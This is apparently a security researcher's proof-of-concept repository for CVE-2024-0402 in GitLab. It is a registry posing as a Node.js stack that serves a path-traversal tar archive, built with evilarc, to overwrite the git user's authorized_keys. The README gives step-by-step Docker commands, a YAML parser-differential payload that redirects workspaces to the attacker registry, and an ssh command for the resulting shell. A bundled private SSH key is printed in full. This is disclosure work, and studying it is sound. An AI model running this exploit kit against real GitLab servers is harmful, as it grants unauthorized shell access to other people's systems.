├── .gitignore ├── Dockerfile ├── README.md ├── index.json ├── last_modified.json ├── ssh-keys ├── pockey └── pockey.pub └── stacks └── nodejs ├── 2.2.1 ├── archive.tar └── devfile.yaml └── stack.yaml /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM registry.access.redhat.com/ubi8/go-toolset:1.18 AS builder 2 | USER root 3 | RUN curl -sL -O https://github.com/mikefarah/yq/releases/download/v4.9.5/yq_linux_amd64 -o /usr/local/bin/yq && mv ./yq_linux_amd64 /usr/local/bin/yq && chmod +x /usr/local/bin/yq 4 | COPY . /registry 5 | COPY . /build 6 | USER 1001 7 | FROM quay.io/devfile/devfile-index-base:next 8 | COPY ./index.json /index.json 9 | COPY ./stacks /stacks 10 | COPY . /registry 11 | COPY . /build 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Malicious Devfile Registry 2 | 3 | The project contains a malicious Devfile Registry usable to exploit CVE-2024-0402 in Gitlab. 4 | 5 | ## The Exploit 6 | 7 | A `nodejs:2.2.1` stack is indexed to expose the `archive.tar` file exploiting the path-traversal issue in [registry-support library before v1.1.0](https://github.com/devfile/registry-support/commit/10b01bc136bd082f59b1ac0c91797f4065792d7b). 8 | 9 | *tar location*: `malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar` 10 | 11 | It was created using the [evilarc.py](https://github.com/ptoomey3/evilarc/blob/master/evilarc.py) to overwrite the `/var/opt/gitlab/.ssh/authorized_keys` in the target Gitlab Server with the SSH keys under `ssh-keys/` folder in this repo. 12 | 13 | ```bash 14 | python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix 15 | ``` 16 | 17 | Once running, the registry will have the malicious *.tar* added to the fetchable stacks. 18 | See the `index.json` listing it among the stack resources: 19 | ``` 20 | ... 21 | "links": { 22 | "self": "devfile-catalog/nodejs:2.2.1" 23 | }, 24 | ... 25 | "resources": [ 26 | "devfile.yaml", 27 | "archive.tar" 28 | ], 29 | ... 30 | ``` 31 | 32 | ## Reproduction Steps 33 | 34 | Configure a Gitlab Instance EE with version <=16.8.0. Enable Workspaces on it following the docs and the extra notes in our dedicated [!exploitable series blogpost](https://blog.doyensec.com/2025/03/18/exploitable-gitlab.html). 35 | 36 | Whenever ready, follow the steps below: 37 | 38 | 1. Run `docker build -t devfile-index .` in the root of this repo to build the registry container image 39 | 40 | 2. Run `docker run -d -p 5000:5000 --name local-registrypoc registry:2` to run a local container registry that will be used by the Devfile registry to store the stack. **Note:** you should edit the command to expose it according to your need. For us, it was all happening in a local environment 41 | 42 | 3. Run `docker run --network host devfile-index` to start the malicious Devfile registry built at step one. **Note:** Like before, edit the run command as you wish to make it reachable by the Gitlab instance 43 | 44 | 4. Authenticate as developer to the target Gitlab server, then edit the `.devfile.yaml` of a repository you control. The YAML must exploit the parser differential to allow fetching from the malicious registry 45 | 46 | ```yaml 47 | schemaVersion: 2.2.0 48 | !binary parent: 49 | id: nodejs 50 | registryUrl: http://: 51 | components: 52 | - name: development-environment 53 | attributes: 54 | gl/inject-editor: true 55 | container: 56 | image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676" 57 | ``` 58 | 59 | 5. To trigger the file-write in the Gitlab UI, just start a new Workspace in the edited repo. 60 | After few seconds, the arbitrary file write should happen and the `ssh-keys/pockey.pub` will be added to the `authorized_keys` of the `git` user 61 | 62 | 6. You should be able to enjoy an unrestricted shell as `git` with 63 | ```bash 64 | ssh -i ssh-keys/pockey git@ 65 | ``` 66 | -------------------------------------------------------------------------------- /index.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "name": "nodejs", 4 | "displayName": "Node.js Runtime", 5 | "description": "Node.js application", 6 | "type": "stack", 7 | "tags": [ 8 | "Node.js", 9 | "Express", 10 | "ubi8" 11 | ], 12 | "icon": "https://raw.githubusercontent.com/devfile-samples/devfile-stack-icons/main/node-js.svg", 13 | "projectType": "Node.js", 14 | "language": "JavaScript", 15 | "versions": [ 16 | { 17 | "version": "2.2.1", 18 | "schemaVersion": "2.2.0", 19 | "default": true, 20 | "description": "Node.js 18 application", 21 | "tags": [ 22 | "Node.js", 23 | "Express", 24 | "ubi8" 25 | ], 26 | "icon": "https://raw.githubusercontent.com/devfile-samples/devfile-stack-icons/main/node-js.svg", 27 | "links": { 28 | "self": "devfile-catalog/nodejs:2.2.1" 29 | }, 30 | "commandGroups": { 31 | "build": true, 32 | "debug": true, 33 | "deploy": false, 34 | "run": true, 35 | "test": true 36 | }, 37 | "resources": [ 38 | "devfile.yaml", 39 | "archive.tar" 40 | ], 41 | "starterProjects": [ 42 | "nodejs-starter" 43 | ], 44 | "lastModified": "0001-01-01T00:00:00Z" 45 | } 46 | ], 47 | "lastModified": "0001-01-01T00:00:00Z" 48 | } 49 | ] -------------------------------------------------------------------------------- /last_modified.json: -------------------------------------------------------------------------------- 1 | {} -------------------------------------------------------------------------------- /ssh-keys/pockey: -------------------------------------------------------------------------------- 1 | -----BEGIN OPENSSH PRIVATE KEY----- 2 | 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 49 | Byby0xMjQ3LmxvY2FsAQIDBAU= 50 | -----END OPENSSH PRIVATE KEY----- 51 | -------------------------------------------------------------------------------- /ssh-keys/pockey.pub: -------------------------------------------------------------------------------- 1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCYCcMbQY3YHo7V8yqMstPOBo6ZAiAcCdD8Bd7vJOMv0Vqv3vHflInApXCd/R9Tc/JdZkMuffWCMJ7x+fprgl4bQAr0aIA8R+ZHVMDeuB59OWSiH64jx1Hrthyp0r+PJEENfe+UZk8lcKi63PEoCd5UIH/+gcxGdqqped4pPB19gCy/uIGzv1R6mbOe9bWJs2sjZJUM21KniNeroKaNKx5c4agspOdijMF9cU5ZPQYDZYV//mtTBFC33fZ9GGnzI9hgpSrk+RHOx4niUEz2wC3Vgqx+DtYKkSTMvoBRSz5poLHlWkDNYYkat83GexW1B2BZ5HmD5GESnt/+p/Ot6wbsbJDr9u584FHIRoyKTinRYOtGYBYs0hihVv+Hs7D39B/oGUJ2k/LSOdpF7Z++J5UWDEerWkvBHp/Y6Q9NPQIAT4SF+8WtSuzDe1b1uRnZh+9qxtcG6y6vco5Gm5sTgJLrkia4JGM8H9oxXKPIaNzS+Znnu3+aWaeteJMFOxlLt3YSCaYZkf2lnTIaQ/py1Sujs33o6v88IdF9ufaoreFJXJEBrC0NxNIe0HvQsTov9b/UDPv5EUch4RUQqLexjocIZPLw9V8+tBWYOv53PmahaXy8LffiClqqsF2tublG6C1tOGS5nZ6pRHK42zd6uEjZrF6vcyMF27GkeCVUvdgulw== POC_CVE-2024-0402 2 | -------------------------------------------------------------------------------- /stacks/nodejs/2.2.1/archive.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyensec/malicious-devfile-registry/00f0fe7b1bfdfa040b32b073056da323996ab4f5/stacks/nodejs/2.2.1/archive.tar -------------------------------------------------------------------------------- /stacks/nodejs/2.2.1/devfile.yaml: -------------------------------------------------------------------------------- 1 | schemaVersion: 2.2.0 2 | metadata: 3 | name: nodejs 4 | displayName: Node.js Runtime 5 | description: Node.js 18 application 6 | icon: https://doyensec.com/img/doyensec-logo.svg 7 | tags: 8 | - Node.js 9 | - Express 10 | - ubi8 11 | projectType: Node.js 12 | language: JavaScript 13 | version: 2.2.1 14 | components: 15 | - name: runtime 16 | container: 17 | image: registry.access.redhat.com/ubi8/nodejs-18:1-32 18 | args: ['tail', '-f', '/dev/null'] 19 | memoryLimit: 1024Mi 20 | mountSources: true 21 | env: 22 | - name: DEBUG_PORT 23 | value: '5858' 24 | endpoints: 25 | - name: https-node 26 | targetPort: 3000 27 | protocol: https 28 | - exposure: none 29 | name: debug 30 | targetPort: 5858 31 | commands: 32 | - id: install 33 | exec: 34 | component: runtime 35 | commandLine: npm install 36 | workingDir: ${PROJECT_SOURCE} 37 | group: 38 | kind: build 39 | isDefault: true 40 | - id: run 41 | exec: 42 | component: runtime 43 | commandLine: npm start 44 | workingDir: ${PROJECT_SOURCE} 45 | group: 46 | kind: run 47 | isDefault: true 48 | - id: debug 49 | exec: 50 | component: runtime 51 | commandLine: npm run debug 52 | workingDir: ${PROJECT_SOURCE} 53 | group: 54 | kind: debug 55 | isDefault: true 56 | - id: test 57 | exec: 58 | component: runtime 59 | commandLine: npm test 60 | workingDir: ${PROJECT_SOURCE} 61 | group: 62 | kind: test 63 | isDefault: true 64 | -------------------------------------------------------------------------------- /stacks/nodejs/stack.yaml: -------------------------------------------------------------------------------- 1 | name: nodejs 2 | description: 'Node.js application' 3 | displayName: Node.js Runtime 4 | icon: https://doyensec.com/img/doyensec-logo.svg 5 | versions: 6 | - version: 2.2.1 7 | default: true # should have one and only one default version 8 | --------------------------------------------------------------------------------